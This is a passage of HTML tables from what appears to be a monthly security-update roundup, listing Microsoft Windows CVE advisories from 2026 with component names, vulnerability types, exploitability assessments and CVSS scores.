href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49180">CVE-2026-49180</a></td><td><p>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50455">CVE-2026-50455</a></td><td><p>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58601">CVE-2026-58601</a></td><td><p>Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49805">CVE-2026-49805</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50297">CVE-2026-50297</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50325">CVE-2026-50325</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50489">CVE-2026-50489</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57095">CVE-2026-57095</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56184">CVE-2026-56184</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50432"><br>CVE-2026-50432</a></td><td><p>Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54119">CVE-2026-54119</a></td><td><p>Windows Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57976">CVE-2026-57976</a></td><td><p>Windows Active Directory Domain Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50366">CVE-2026-50366</a></td><td><p>Windows Active Directory Domain Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49164">CVE-2026-49164</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49178">CVE-2026-49178</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54983">CVE-2026-54983</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50695">CVE-2026-50695</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50304">CVE-2026-50304</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50368">CVE-2026-50368</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50324">CVE-2026-50324</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50355">CVE-2026-50355</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50411">CVE-2026-50411</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50312">CVE-2026-50312</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50462">CVE-2026-50462</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57093">CVE-2026-57093</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34346">CVE-2026-34346</a></td><td><p>Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50400">CVE-2026-50400</a></td><td><p>Windows App Package Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50331">CVE-2026-50331</a></td><td><p>Windows Application Model Core API Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49803">CVE-2026-49803</a></td><td><p>Windows AppX Deployment Extensions Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50351">CVE-2026-50351</a></td><td><p>Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34328">CVE-2026-34328</a></td><td><p>Windows Audio Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50406">CVE-2026-50406</a></td><td><p>Windows Backup Engine Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50364">CVE-2026-50364</a></td><td><p>Windows Backup Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50661">CVE-2026-50661</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>Yes</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42975">CVE-2026-42975</a></td><td><p>Windows Bluetooth Port Driver Remote Code Execution</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58538">CVE-2026-58538</a></td><td><p>Windows Bluetooth Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58638">CVE-2026-58638</a></td><td><p>Windows Boot Loader Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58637">CVE-2026-58637</a></td><td><p>Windows Client-Side Caching Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50384">CVE-2026-50384</a></td><td><p>Windows Clip Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49183">CVE-2026-49183</a></td><td><p>Windows Clipboard Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50689">CVE-2026-50689</a></td><td><p>Windows Clipboard Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50374">CVE-2026-50374</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58536">CVE-2026-58536</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58613">CVE-2026-58613</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50401">CVE-2026-50401</a></td><td><p>Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50697">CVE-2026-50697</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50667">CVE-2026-50667</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50421">CVE-2026-50421</a></td><td><p>Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50352">CVE-2026-50352</a></td><td><p>Windows Cryptographic Services Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50302">CVE-2026-50302</a></td><td><p>Windows Cryptographic Services Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50347">CVE-2026-50347</a></td><td><p>Windows Data.dll Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49181">CVE-2026-49181</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50683">CVE-2026-50683</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54128">CVE-2026-54128</a></td><td><p>Windows DHCP Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58627">CVE-2026-58627</a></td><td><p>Windows DHCP Server Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50518">CVE-2026-50518</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50685">CVE-2026-50685</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49807">CVE-2026-49807</a></td><td><p>Windows DirectX Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49175">CVE-2026-49175</a></td><td><p>Windows DNS Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50426">CVE-2026-50426</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50300">CVE-2026-50300</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50437">CVE-2026-50437</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34348">CVE-2026-34348</a></td><td><p>Windows Event Logging Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50502">CVE-2026-50502</a></td><td><p>Windows Event Logging Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33842">CVE-2026-33842</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40422">CVE-2026-40422</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41087">CVE-2026-41087</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50473">CVE-2026-50473</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50442">CVE-2026-50442</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50389">CVE-2026-50389</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50456">CVE-2026-50456</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57084">CVE-2026-57084</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57091">CVE-2026-57091</a></td><td><p>Windows File History Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50405">CVE-2026-50405</a></td><td><p>Windows Filtering Platform Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49172">CVE-2026-49172</a></td><td><p>Windows FTP Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50387">CVE-2026-50387</a></td><td><p>Windows GDI Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54122">CVE-2026-54122</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49796">CVE-2026-49796</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50380">CVE-2026-50380</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58609"><br>CVE-2026-58609</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50391">CVE-2026-50391</a></td><td><p>Windows Group Policy Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50310">CVE-2026-50310</a></td><td><p>Windows Human Interface Device Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50485">CVE-2026-50485</a></td><td><p>Windows Hyper-V Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54129">CVE-2026-54129</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50680">CVE-2026-50680</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58534">CVE-2026-58534</a></td><td><p>Windows Input Method Editor (IME) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50490">CVE-2026-50490</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58540">CVE-2026-58540</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50425">CVE-2026-50425</a></td><td><p>Windows Internal System User Profile Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50293">CVE-2026-50293</a></td><td><p>Windows Internal Task Bar Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49167">CVE-2026-49167</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54132">CVE-2026-54132</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49795">CVE-2026-49795</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49798">CVE-2026-49798</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50354">CVE-2026-50354</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50332">CVE-2026-50332</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50377">CVE-2026-50377</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50390">CVE-2026-50390</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50423">CVE-2026-50423</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50397">CVE-2026-50397</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50399">CVE-2026-50399</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50459">CVE-2026-50459</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50477">CVE-2026-50477</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50478">CVE-2026-50478</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50484">CVE-2026-50484</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50673">CVE-2026-50673</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58532">CVE-2026-58532</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50294">CVE-2026-50294</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50316">CVE-2026-50316</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50419">CVE-2026-50419</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50463">CVE-2026-50463</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less 